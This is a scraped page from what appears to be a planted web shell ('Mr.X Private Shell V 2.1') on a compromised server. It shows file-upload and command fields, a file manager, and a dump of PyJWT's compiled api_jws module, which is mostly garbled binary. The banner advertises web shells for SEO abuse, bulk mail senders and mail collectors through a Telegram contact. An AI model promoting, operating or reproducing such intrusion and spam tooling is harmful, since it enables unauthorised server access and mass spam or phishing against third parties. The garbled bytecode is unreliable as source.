__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�?}g�-���SSKJr SSKrSSKrSSKrSSKJr SSKJrJ	r	 SSK
JrJrJ
r
Jr SSKJr SSKJrJrJrJr SS	KJrJr SS
KJr \(aSSK
JrJr "SS
5r\"5r\R<r\R>r\R@r \RBr!\RDr"\RFr#\RHr$g)�)�annotationsN)�Sequence)�
TYPE_CHECKING�Any�)�	Algorithm�get_default_algorithms�
has_crypto�requires_cryptography)�PyJWK)�DecodeError�InvalidAlgorithmError�InvalidSignatureError�InvalidTokenError)�base64url_decode�base64url_encode)�RemovedInPyjwt3Warning)�AllowedPrivateKeys�AllowedPublicKeysc�N�\rSrSrSrSSSjjr\SSj5rSSjrSSjr	SSjr
SS	jrSSS
jjrSSSjjr
SSSjjrSS
jrS SjrS!S"SjjrS#SjrS$SjrSrg)%�PyJWS��JWTNc�>�[5UlUb[U5O[UR5Ul[	URR55H!nX0R;dMURU	M# Uc0n0UR
5EUEUlg)N)r	�_algorithms�set�_valid_algs�list�keys�_get_default_options�options)�self�
algorithmsr!�keys    �-/usr/lib/python3/dist-packages/jwt/api_jws.py�__init__�PyJWS.__init__ s���
2�3���)�5�C�
�O�3�t�?O�?O�;P�	
��
��(�(�-�-�/�0�C��*�*�*��$�$�S�)�1��?��G�A�$�3�3�5�A��A���c�
�SS0$)N�verify_signatureT�r+r(r%r �PyJWS._get_default_options3s
��"�D�)�)r(c���XR;a[S5e[U[5(d[	S5eX RU'UR
R
U5 g)zG
Registers a new Algorithm for use when creating and verifying tokens.
z Algorithm already has a handler.z!Object is not of type `Algorithm`N)r�
ValueError�
isinstancer�	TypeErrorr�add)r"�alg_id�alg_objs   r%�register_algorithm�PyJWS.register_algorithm7sW���%�%�%��?�@�@��'�9�-�-��?�@�@�#*���� ������V�$r(c��XR;a[S5eURU	URRU5 g)zu
Unregisters an Algorithm for use when creating and verifying tokens
Throws KeyError if algorithm is not registered.
zJThe specified algorithm could not be removed because it is not registered.N)r�KeyErrorr�remove)r"r2s  r%�unregister_algorithm�PyJWS.unregister_algorithmDsF��
�)�)�)��1��
�

���V�$�������'r(c�,�[UR5$)z=
Returns a list of supported values for the 'alg' parameter.
)rr)r"s r%�get_algorithms�PyJWS.get_algorithmsRs���D�$�$�%�%r(c��URU$![a6n[(dU[;a[	SUS35Ue[	S5UeSnAff=f)z|
For a given string name, return the matching Algorithm object.

Example usage:

>>> jws_obj.get_algorithm_by_name("RS256")
zAlgorithm 'z9' could not be found. Do you have cryptography installed?�Algorithm not supportedN)rr7r
r�NotImplementedError)r"�alg_name�es   r%�get_algorithm_by_name�PyJWS.get_algorithm_by_nameXse��	H��#�#�H�-�-���	H��:�(�.C�"C�)�!�(��+d�e����&�&?�@�a�G��	H�s��
A�1A�Ac��/nUc%[U[5(a
URn	OSn	OUn	U(a5URS5n
U
(aUSn	URS5nUSLaSnURU	S.nU(a"URU5 UR
U5 US(dUS	U(aSUS'O	SU;aUS	[R"USXWS	9R5n
UR[U
55 U(aUnO[U5nURU5 S
RU5nURU	5n[U[5(aURnURU5nUR!X�5nUR[U55 U(aSUS'S
RU5nUR#S
5$)N�HS256�alg�b64FT)�typrGrI)�,�:)�
separators�cls�	sort_keys�.r(r�utf-8)r/r�algorithm_name�get�
header_typ�_validate_headers�update�json�dumps�encode�appendr�joinrCr$�prepare_key�sign�decode)r"�payloadr$�	algorithm�headers�json_encoder�is_payload_detached�sort_headers�segments�
algorithm_�headers_alg�headers_b64�header�json_header�msg_payload�
signing_inputr3�	signature�encoded_strings                   r%rX�PyJWS.encodeis��������#�u�%�%� �/�/�
�$�
�"�J��!�+�+�e�,�K��$�U�^�
�!�+�+�e�,�K��e�#�&*�#�*.����!L����"�"�7�+��M�M�'�"��e�}��u�
��!�F�5�M�
�f�_��u�
��j�j��z�|�
�
�&�(�	�	���(��5�6��!�K�*�7�3�K�����$��	�	�(�+�
��,�,�Z�8���c�5�!�!��'�'�C��!�!�#�&���L�L��4�	����(��3�4���H�Q�K����8�,���$�$�W�-�-r(c��U(a4[R"S[UR553[SS9 Uc0n0UR
EUEnUSnU(a'U(d [
U[5(d[S5eURU5up�p�URSS5SLa6Uc[S	5eUn	S
RU
RS
S5SU	/5n
U(aURX�X�U5 U	UUS
.$)Nzypassing additional kwargs to decode_complete() is deprecated and will be removed in pyjwt version 3. Unsupported kwargs: ���
stacklevelr*z\It is required that you pass in a value for the "algorithms" argument when calling decode().rHTFz�It is required that you pass in a value for the "detached_payload" argument to decode a message having the b64 header set to false.rOrr)r^rhrl)�warnings�warn�tuplerrr!r/rr
�_loadrRrZ�rsplit�_verify_signature)
r"�jwtr$r#r!�detached_payload�kwargs�merged_optionsr*r^rkrhrls
             r%�decode_complete�PyJWS.decode_complete�s����M�M�'�',�V�[�[�]�';�&<�>�'��
��?��G�4�D�L�L�4�G�4��)�*<�=���J�z�#�u�7M�7M��n��
�59�J�J�s�O�1����:�:�e�T�"�e�+��'�!�Z���'�G� �I�I�}�';�';�D�!�'D�Q�'G��&Q�R�M���"�"�=�)�*�U���"�
�	
r(c��U(a4[R"S[UR553[SS9 URXX4US9nUS$)Nzppassing additional kwargs to decode() is deprecated and will be removed in pyjwt version 3. Unsupported kwargs: rprq)rzr^)rsrtrurrr})r"ryr$r#r!rzr{�decodeds        r%r]�PyJWS.decode�sb����M�M�'�',�V�[�[�]�';�&<�>�'��
��&�&��j�<L�'�
���y�!�!r(c�P�URU5SnURU5 U$)z�Returns back the JWT header parameters as a dict()

Note: The signature is not verified so the header parameters
should not be fully trusted until signature verification is complete
rp)rvrT)r"ryr`s   r%�get_unverified_header�PyJWS.get_unverified_header�s)���*�*�S�/�!�$�����w�'��r(c�>�[U[5(aURS5n[U[5(d[	S[35eURSS5up#UR
SS5upE[U5n[R"U5n[U[5(d[	S5e[U5n
[U5nX�X�4$![an[	S5UeSnAff=f![[R4an[	S5UeSnAff=f![an	[	SU	35U	eSn	A	ff=f![[R4an[	S	5UeSnAff=f![[R4an[	S
5UeSnAff=f)NrPz$Invalid token type. Token must be a rOrzNot enough segmentszInvalid header paddingzInvalid header string: z,Invalid header string: must be a json objectzInvalid payload paddingzInvalid crypto padding)r/�strrX�bytesr
rw�splitr.rr0�binascii�ErrorrV�loads�dict)r"ryrk�crypto_segment�header_segment�payload_segment�err�header_datarhrBr^rls            r%rv�PyJWS._loads����c�3����*�*�W�%�C��#�u�%�%�� D�U�G�L�M�M�	>�,/�J�J�t�Q�,?�)�M�.;�.A�.A�$��.J�+�N�	A�*�>�:�K�	D��Z�Z��,�F��&�$�'�'��L�M�M�	B�&��7�G�	A�(��8�I���:�:��5�	>��3�4�#�=��	>��
�8�>�>�*�	A��6�7�S�@��	A��
�	D�� 7��s�;�<�!�C��	D���8�>�>�*�	B��7�8�c�A��	B��
�8�>�>�*�	A��6�7�S�@��	A�sx�(C�8C4�D"�;E�E1�
C1� C,�,C1�4D�D�D�"
E�,D;�;E�E.�E)�)E.�1F�F�Fc���Uc"[U[5(a
UR/nUSnU(aUbXe;a[	S5e[U[5(aUR
nURnO#URU5nURU5nURXU5(d[S5eg![a
 [	S5Sef=f![an	[	S5U	eSn	A	ff=f)NrGzAlgorithm not specifiedz&The specified alg value is not allowedr?zSignature verification failed)r/rrQr7rrr$rCr@r[�verifyr)
r"rkrhrlr$r#rGr3�prepared_keyrBs
          r%rx�PyJWS._verify_signature+s�����*�S�%�"8�"8��,�,�-�J�	M���-�C��z�-�#�2G�'�(P�Q�Q��c�5�!�!��m�m�G��7�7�L�
N��4�4�S�9��#�.�.�s�3�L��~�~�m�9�E�E�'�(G�H�H�F��!�	M�'�(A�B��L�	M��'�
N�+�,E�F�A�M��
N�s#�B:�5C�:C�
C/�C*�*C/c�:�SU;aURUS5 gg)N�kid)�
_validate_kid)r"r`s  r%rT�PyJWS._validate_headersJs!���G�����w�u�~�.�r(c�D�[U[5(d[S5eg)Nz(Key ID header parameter must be a string)r/r�r)r"r�s  r%r��PyJWS._validate_kidNs ���#�s�#�#�#�$N�O�O�$r()rrr!)NN)r#�Sequence[str] | Noner!�dict[str, Any] | None�return�None)r�zdict[str, bool])r2r�r3rr�r�)r2r�r�r�)r�z	list[str])rAr�r�r)NNNFT)r^r�r$z(AllowedPrivateKeys | PyJWK | str | bytesr_z
str | Noner`r�raztype[json.JSONEncoder] | Nonerb�boolrcr�r�r�)�NNN)ry�str | bytesr$�'AllowedPublicKeys | PyJWK | str | bytesr#r�r!r�rz�bytes | Noner��dict[str, Any])ryr�r$r�r#r�r!r�rzr�r�r)ryr�r�r�)ryr�r�z*tuple[bytes, bytes, dict[str, Any], bytes])r�N)rkr�rhr�rlr�r$r�r#r�r�r�)r`r�r�r�)r�rr�r�)�__name__�
__module__�__qualname__�__firstlineno__rSr&�staticmethodr r4r9r<rCrXr}r]r�rvrxrTr��__static_attributes__r+r(r%rrs����J�,0�)-�B�(�B�'�B�
�	B�&�*��*�%�(�&�H�*!%�)-�6:�$)�!�K.��K.�6�K.��	K.�
'�K.�4�
K.�"�K.��K.�

�K.�`8:�+/�)-�)-�
,
�
�,
�5�,
�)�	,
�
'�,
�'�
,
�
�,
�b8:�+/�)-�)-�
"�
�"�5�"�)�	"�
'�"�'�
"�

�"�,	�$;�V8:�+/�
I��I��I��	I�
5�I�)�
I�
�I�>/�Pr(r)%�
__future__rr�rVrs�collections.abcr�typingrrr#rr	r
r�api_jwkr�
exceptionsr
rrr�utilsrrrrrr�_jws_global_objrXr}r]r4r9rCr�r+r(r%�<module>r�s���"����$�%������6�,��A�sP�sP�l	�'��	�	�	��!�1�1��	�	�	��$�7�7��&�;�;��'�=�=��'�=�=�r(

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.57 KB 0644
algorithms.cpython-313.pyc File 34.11 KB 0644
api_jwk.cpython-313.pyc File 6.79 KB 0644
api_jws.cpython-313.pyc File 13.45 KB 0644
api_jwt.cpython-313.pyc File 14.73 KB 0644
exceptions.cpython-313.pyc File 3.86 KB 0644
help.cpython-313.pyc File 2.13 KB 0644
jwk_set_cache.cpython-313.pyc File 1.77 KB 0644
jwks_client.cpython-313.pyc File 5.64 KB 0644
types.cpython-313.pyc File 297 B 0644
utils.cpython-313.pyc File 5.47 KB 0644
warnings.cpython-313.pyc File 410 B 0644
Filemanager